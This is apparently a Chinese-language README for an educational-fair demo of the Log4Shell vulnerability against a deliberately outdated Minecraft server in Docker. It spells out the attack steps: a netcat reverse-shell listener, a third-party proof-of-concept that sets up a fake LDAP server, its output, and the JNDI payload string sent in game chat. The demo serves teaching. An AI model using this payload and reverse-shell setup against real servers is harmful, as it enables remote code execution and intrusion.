此演示用于教育展会,让未来的潜在学生了解HTL Villach的网络安全部门,以及日常应用如何被利用。
注意: 整个演示使用 Minecraft 1.8.8。
此场景中的攻击者使用了kozmer的PoC。https://github.com/kozmer/log4j-shell-poc 所有功劳归功于他们。 注意: 所有命令需要在 attacker/ 目录下执行。
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20,并位于同一目录中。$ python3 poc.py --userip <ip of docker-host> --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://<ip of docker-host>:1389/a}
Listening on 0.0.0.0:1389
此脚本将为你设置 HTTP 服务器和 LDAP 服务器,还会创建可用于粘贴到易受攻击参数中的有效载荷。之后,如果一切顺利,你应该会在 lport 上获得一个 shell。
在受害者实例中,我们使用了一个过时且因此存在漏洞的 JDK 版本 (jdk1.8.0_20)。
要运行我们的 Minecraft 服务器,我们必须构建 Docker 镜像并运行它。
注意: 要成功构建,你需要获取你自己的 Minecraft Vanilla 1.8.8 服务器副本 (由于 Mojang 的 EULA,无法共享) 可能的来源是 MCVERSIONS.NET
获取文件后,将其保存为 victim/ 目录下的 server.jar
cd target/
docker build target/ -t minecraft-demo
运行我们刚刚使用 docker 构建的易受攻击的 Minecraft 服务器
docker run --name vulnerable-server -p 25565:25565 minecraft-demo
漏洞利用后,你的容器很可能会冻结或卡住。在这种情况下,你可以使用以下命令杀死它:
docker kill vulnerable-server
要利用该漏洞,只需在游戏聊天中发送 poc.py 提供的字符串即可。
${jndi:ldap://<ip of docker-host>:1389/a}
